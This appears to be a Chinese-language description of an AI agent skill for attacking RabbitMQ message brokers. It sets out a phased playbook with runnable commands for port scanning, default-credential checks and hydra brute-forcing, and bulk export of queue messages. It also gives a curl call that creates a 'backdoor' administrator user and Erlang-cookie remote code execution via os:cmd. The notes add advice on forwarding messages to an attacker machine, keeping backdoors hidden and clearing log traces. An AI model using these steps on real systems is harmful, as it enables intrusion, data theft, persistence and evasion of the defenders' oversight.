用途
rabbitmq-tactics 用于 RabbitMQ 未授权访问与利用的安全测试。当发现目标开放 5672/15672 端口、RabbitMQ Management API 暴露、默认凭据 guest/guest 未修改,或需要从 RabbitMQ 窃取消息数据时使用。技能描述指出,RabbitMQ 默认开启 Management Plugin 并使用 guest/guest 凭据(仅限 localhost),但大量实例因配置 loopback_users = none 导致 guest 账户可远程登录。
主要能力
技能覆盖以下环节:
- 服务发现与端口识别:5672(AMQP)、15672(Management UI)、4369(epmd)、25672(集群通信)端口扫描与 AMQP 服务探测。
- 默认凭据与弱口令检测:常见凭据测试与 HTTP Basic Auth 爆破。
- Management API 利用:用户与权限枚举、队列枚举与消息批量导出、用户创建与权限操控、Shovel/Federation 数据外传、集群与节点信息收集。
- Erlang Cookie RCE:获取 Erlang Cookie 并通过 Erlang 远程调用或 rabbitmqctl 执行命令。
- Exchange 滥用与消息篡改:Exchange 枚举、消息注入、消息消费与队列清空删除。
使用方式
技能按阶段组织操作流程:
Phase 1:服务发现与端口识别
nmap -sV -p 5672,15672,4369,25672 TARGET
nmap -sV -p 5672 --script amqp-info TARGET
curl -s -o /dev/null -w "%{http_code}" http://TARGET:15672/api/overview
关键判断:返回 401 表示 Management API 可达需凭据;返回 200 表示已有有效认证或无需认证;连接失败表示 Management Plugin 未启用;4369 开放表示 epmd 暴露,可枚举 Erlang 节点名。
Phase 2:默认凭据与弱口令检测
curl -s -u guest:guest http://TARGET:15672/api/overview | jq '.rabbitmq_version'
hydra -L users.txt -P passwords.txt TARGET http-get /api/overview -s 15672
nmap -p 15672 --script http-brute --script-args http-brute.path=/api/overview TARGET
Phase 3:攻击决策树
技能按凭据是否有效、Management API 是否可用、用户权限等级、是否可访问文件系统、是否仅 AMQP 可达等条件给出分支决策路径。前置信息收集命令包括获取版本与集群名、列出用户及 tag、列出 VHost、列出当前用户权限。
Phase 4:Management API 利用速查
队列枚举与消息批量导出:
curl -s -u USER:PASS http://TARGET:15672/api/queues | jq '.[] | {vhost, name, messages}'
curl -s -u USER:PASS "http://TARGET:15672/api/queues/%2F/QUEUE_NAME/get" -H "content-type: application/json" -d '{"count": 100, "requeue": true, "encoding": "auto"}'
用户创建与权限操控:
curl -u USER:PASS -X PUT http://TARGET:15672/api/users/backdoor -H "content-type: application/json" -d '{"password": "P@ssw0rd!", "tags": "administrator"}'
Shovel/Federation 数据外传:通过 API 创建 Shovel 将目标队列消息实时转发到攻击机,或创建 Federation Upstream 镜像目标 Exchange。
集群与节点信息:获取节点列表、当前连接、通道信息。
Phase 5:Erlang Cookie RCE 速查
常见 Cookie 路径包括 /var/lib/rabbitmq/.erlang.cookie、/home/rabbitmq/.erlang.cookie、~/.erlang.cookie,也可通过环境变量获取。利用方式:
erl -sname attacker -setcookie STOLEN_COOKIE -remsh rabbit@TARGET_HOSTNAME
> os:cmd("id").
RABBITMQ_ERLANG_COOKIE=STOLEN_COOKIE rabbitmqctl -n rabbit@TARGET_HOSTNAME eval 'os:cmd("id").'
Phase 6:Exchange 滥用与消息篡改
包括 Exchange 枚举、消息注入、消息消费(不重新入队即删除)、清空队列与删除队列。
适用场景
适用于已获授权对 RabbitMQ 实例进行安全评估的场景,包括默认凭据检测、Management API 暴露面评估、消息数据窃取风险验证、Erlang Cookie 导致的远程命令执行验证、Exchange 与队列篡改风险验证。
工具速查
技能列出配套工具:curl + Management API(HTTP API 操作基础)、rabbitmqadmin(官方 CLI 管理工具)、amqp-tools(AMQP 协议直连收发消息)、pika(Python AMQP 客户端)、hydra(HTTP Basic Auth 爆破)、nmap amqp-info(AMQP 服务信息收集)、epmd(Erlang 端口映射,枚举节点名)、erl(Erlang shell,配合 Cookie 实现 RCE)。
限制与注意事项
技能给出以下注意事项:
- guest/guest 默认仅允许 localhost 连接,远程可用说明已配置 loopback_users = none。
- 消息获取时 requeue: false 会永久消费消息,生产环境慎用(推荐 requeue: true)。
- Shovel/Federation 配置后消息实时转发,流量可能被网络监控捕获。
- Erlang Cookie 通常为固定字符串,集群内所有节点共享同一 Cookie。
- %2F 是 URL 编码的 /,代表默认 VHost,API 调用中必须使用编码形式。
- 创建后门用户和 Shovel 会在 Management UI 中可见,注意隐蔽性。
- rabbitmqctl 操作记录在 RabbitMQ 日志中,注意清理痕迹。
- 完整利用命令和 payload 需参考技能内的 references/attack-techniques.md 文件。
以上内容均来自技能资料,未提供的收费、价格、平台等信息暂未提供。